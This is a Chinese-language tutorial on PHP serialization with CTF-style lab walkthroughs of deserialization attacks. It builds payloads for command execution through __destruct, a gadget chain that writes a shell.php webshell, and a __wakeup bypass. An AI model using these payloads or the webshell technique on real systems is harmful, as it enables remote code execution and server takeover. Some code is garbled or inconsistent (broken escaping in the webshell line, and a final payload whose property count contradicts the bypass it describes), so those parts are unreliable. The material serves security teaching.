一.序列化基础知识
1.序列化的作用
序列化(Serialization)是将对象的状态信息(属性)转换为可以存储 或传输的形式的过程。
对象------------------>字符串
将对象或者数组转换为可存储/运输的字符串
2.表达方式
<?php
$a = null;
echo serialize($a);
?>
所有格式第一位都是数据类型的英文字母简写。
空字符: null------------------------------>N;
整型: 666 ------------------------------>i:666;
浮点型: 66.6------------------------------>d:66.6;
Boolean型:true------------------------------>b:1;
false--------------------------->b:0;
字符串: 'benben'------------------------>s:6:"benben";
<?php
class User {
public $name = "admin";
public $age = 25;
public $isAdmin = true;
}
$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出: O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:25;s:7:"isAdmin";b:1;}
?>
文件头部分
O:4:"User":3:{
O - 表示这是一个对象 (Object)
4 - 类名的长度是4个字符
"User" - 类的名称
3 - 该对象有3个属性
{ - 开始属性的定义
属性
s:4:"name";s:5:"admin";
s - 表示这是一个字符串 (string)
4 - 属性名"name"的长度是4
"name" - 属性名
; - 分隔符
s - 属性值也是字符串
5 - 属性值"admin"的长度是5
"admin" - 属性值
; - 分隔符
3.对象的序列化
<?php
class test{
public $pub='benben'; //定义成员变量
function jineng(){ //定义成员函数
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
结果:Oobject:4 类名长度:"test"类名:1变量数量:{s:3变量名字长度:"pub"变量名字;s:6值的长度:"benben"变量值;}
注意:不能序列化类;可以序列化对象
只序列化成员变量;不序列化成员函数
二.靶场实战
1.PHP反序列化入门练习
你的任务:构造一个 Test 类的序列化字符串,使得 $unser_obj->name === 'admin'。当 name 字段为 admin 时系统会自动显示 flag。
O:4:"Test":1:{s:4:"name";s:5:"admin";}
O:4:"Test":1:{s:4:"name";s:5:"admin";}
│ │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ └─ 字符串结束
│ │ │ │ │ │ │ │ └─────── 值"admin"
│ │ │ │ │ │ │ └────────── 值的长度5
│ │ │ │ │ │ └────────────── 字符串类型标识
│ │ │ │ │ └─────────────────── 属性名结束
│ │ │ │ └────────────────────── 属性名"name"
│ │ │ └──────────────────────── 属性名长度4
│ │ │ └──────────────────────── 字符串类型标识
│ │ │ └──────────────────────── 属性开始
│ │ └──────────────────────────── 属性数量
│ └───────────────────────────────── 类名"Test"
└─────────────────────────────────── 类名长度4
└─────────────────────────────────── 对象类型标识
2.PHP反序列化入门练习2
源码如下
<?php
class ExecCmd {
public $cmd = "echo 'test'";
public function __destruct() {
system($this->cmd);
}
}
?>
我们直接可以利用 __destruct() 中的 system($this->cmd) 来执行任意命令。这是一个经典的PHP反序列化Getshell漏洞。
生成payload:
O:7:"ExecCmd":1:{s:3:"cmd";s:6:"whoami";}
靶场返回www-data,我们获得了 www-data 权限,这是Web服务的典型权限。
O:7:"ExecCmd":1:{s:3:"cmd";s:18:"more /tmp/flag.txt";}
直接得到flag
3.PHP反序列化入门练习3
源码如下
<?php
//代码仅作为分析和参考,不保证一定可以执行。
class WriteFile {
public $filename = "test.txt";
public $content = "test content";
public function __toString() {
file_put_contents($this->filename, $this->content);
return "写入成功";
}
}
$obj = @unserialize($ser_data);
if ($obj !== false && $obj instanceof WriteFile) {
echo $obj; // 触发__toString
}
?>
关键点:
反序列化后必须是一个 WriteFile 对象
当 echo $obj 时,会自动触发 __toString() 方法
__toString() 中调用了 file_put_contents(),可以写入文件
我们可以通过控制 filename 和 content 来写入木马
- 代码基本功能分析
这段代码定义了一个名为 WriteFile 的类,主要用于将指定内容写入指定文件。
属性 (Properties):
public $filename: 定义要写入的文件名,默认是 "test.txt"。由于是 public,外部可以随意修改。
public $content: 定义要写入的内容,默认是 "test content"。同样是 public,可以修改。
方法 (Method):
__toString(): 这是一个 PHP 的 魔术方法(Magic Method) 。
核心逻辑: file_put_contents(this-\>filename, this->content);
作用: 当这个方法被触发时,它会将 content 的值写入 filename 指定的文件中。
- 核心机制:__toString() 何时触发?
理解这个漏洞的关键在于理解 __toString() 何时会被自动调用。它不会自动运行,必须满足以下条件之一,对象才会被当做字符串处理:
echo / print: 例如 echo $object;
字符串连接: 例如 str = \"File status: \" . object;
格式化字符串: 例如 printf("Status: %s", $object);
文件操作: 当对象被作为文件名传递给 file_exists($object) 等函数时(在某些 PHP 版本中)。
比较操作: 当对象与字符串进行 == 比较时。
漏洞利用
攻击者可以构造如下攻击链:
构造恶意对象: 攻击者在本地生成一个 WriteFile 对象。
修改属性:
将 $filename 修改为 shell.php(WebShell)。
将 content 修改为 \<?php system(_GET['cmd']); ?>(恶意代码)。
序列化: 将这个对象序列化为字符串。
发送 Payload: 将序列化后的字符串发送给受害服务器的 unserialize 函数。
触发执行:
服务器运行 unserialize,在内存中还原出恶意的 WriteFile 对象。
服务器运行 echo $obj(或类似的字符串操作)。
WriteFile 类的 __toString 被触发。
file_put_contents 执行,在服务器上生成 shell.php。
RCE: 攻击者访问 shell.php,获得服务器控制权。
<?php
class WriteFile {
public $filename = "shell.php";
// 在 $ 前面加 \ 进行转义
public content = "\_POST['cmd']); ?>";
}
$obj = new WriteFile();
echo serialize($obj);
?>
4.PHP反序列化绕过1
源码如下
<?php
class BypassWakeup {
public $cmd = "echo 'ok'";
public function __wakeup() {
$this->cmd = "echo 'waf'";
}
public function __destruct() {
system($this->cmd);
}
}
$ser_data = $_GET['data'];
unserialize($ser_data);
?>
这题考察了对php魔术方法的绕过,php中有如下两种魔术方法 _destruct()方法 该方法会在对象的引用被删除或当对象被显示销毁时触发,实例化会触发,序列化不会触发,反序列化会触发 _wakeup()方法 该方法在反序列化时触发,且在反序列化之前。当序列化对象的参数列表中成员个数和实际个数不符合时就会绕过_wakeup()。
字符串逃逸,例如:序列化之后得到 O:1:"A":2:{s:4:"name";s:8:"xiaoming";s:3:"age":N;} 此时成员数为2,当将其改为3,在传入unserialize()函数时就不会触发_wakeup()了
O:1:"A":3:{s:4:"name";s:8:"xiaoming";s:3:"age":N;}
将源码序列化,再修改一下成员数可得
O:12:"BypassWakeup":2:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}